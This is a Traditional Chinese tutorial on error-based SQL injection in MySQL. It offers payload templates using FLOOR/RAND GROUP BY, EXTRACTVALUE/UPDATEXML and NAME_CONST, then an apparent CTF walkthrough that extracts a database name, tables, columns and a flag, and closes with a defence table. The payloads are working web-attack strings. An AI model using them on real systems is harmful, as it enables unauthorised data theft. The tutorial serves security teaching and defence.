錯誤回顯注入利用資料庫錯誤訊息將敏感資料「吐」到頁面上。雖生產環境通常關閉詳細錯誤,但測試環境、舊系統、特定框架錯誤頁仍可能洩露。本文系統整理 MySQL 下三大核心技術、Payload 模板與實戰步驟,供安全研究與防禦參考。
法律聲明: 本文僅供授權滲透測試、CTF 競賽、安全教學與防禦研究使用。未經授權對他人系統測試屬違法行為。
構造**邏輯矛盾**的 SQL 迫使資料庫拋錯,錯誤訊息中包含我們想提取的資料 (資料庫名、版本、表名、欄位、資料)。
利用 RAND(0) 固定種子 + FLOOR(RAND(0)*2) 產生確定性 0/1 序列,配合 GROUP BY 觸發 Duplicate entry 錯誤。
-- 通用 Payload 模板
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(FLOOR(RAND(0)*2), 0x23, (目標查詢)) x FROM information_schema.tables GROUP BY x) a) AND '1'='1
0x23 = # 分隔符,方便截取information_schema.tables 任意大表提供足夠行數觸發分組利用 EXTRACTVALUE()、UPDATEXML() 解析 XML 時,XPath 語法錯誤會回顯異常資料。**限制:單次最多 32 字元**,需配合 MID()/SUBSTR() 分段提取。
-- EXTRACTVALUE
' AND EXTRACTVALUE(1, CONCAT(0x7e, (目標查詢))) AND '1'='1
-- UPDATEXML
' AND UPDATEXML(1, CONCAT(0x7e, (目標查詢)), 1) AND '1'='1
0x7e = ~ 標記開頭XPATH syntax error: '~target_data'-- 利用 NAME_CONST 強制重複別名
' AND EXISTS(SELECT * FROM (SELECT * FROM (SELECT NAME_CONST(@@version,0)) a JOIN (SELECT NAME_CONST(@@version,0)) b) c) --
' 報錯、' OR '1'='1 正常回顯(SELECT DATABASE()) → r0866cplushua(SELECT VERSION()) → 5.1.61-Alibaba-rds(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema='db' LIMIT 0,1) → log, motto, user(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='motto' LIMIT 0,1) → id, username, motto(SELECT CONCAT(username,0x3a,motto) FROM motto LIMIT 3,1) → key#notfound!#| 層面 | 措施 |
|---|---|
| 程式碼 | 全面使用 參數化查詢 / PreparedStatement,嚴禁字串拼接 SQL |
| 資料庫 | 最小權限帳號、關閉詳細錯誤回顯 (display_errors=Off)、啟用 WAF |
| 框架 | ORM 參數綁定、輸入驗證、輸出編碼 |
| 監控 | 異常 SQL 模式告警、錯誤日誌審計、資料庫防火牆 |
藍隊視角: 錯誤回顯注入本質是「資訊洩露」+「邏輯繞過」。根治在於**參數化查詢**徹底分離代碼與資料,輔以**最小權限**、**錯誤資訊最小化**、**WAF/ RASP** 多層防禦。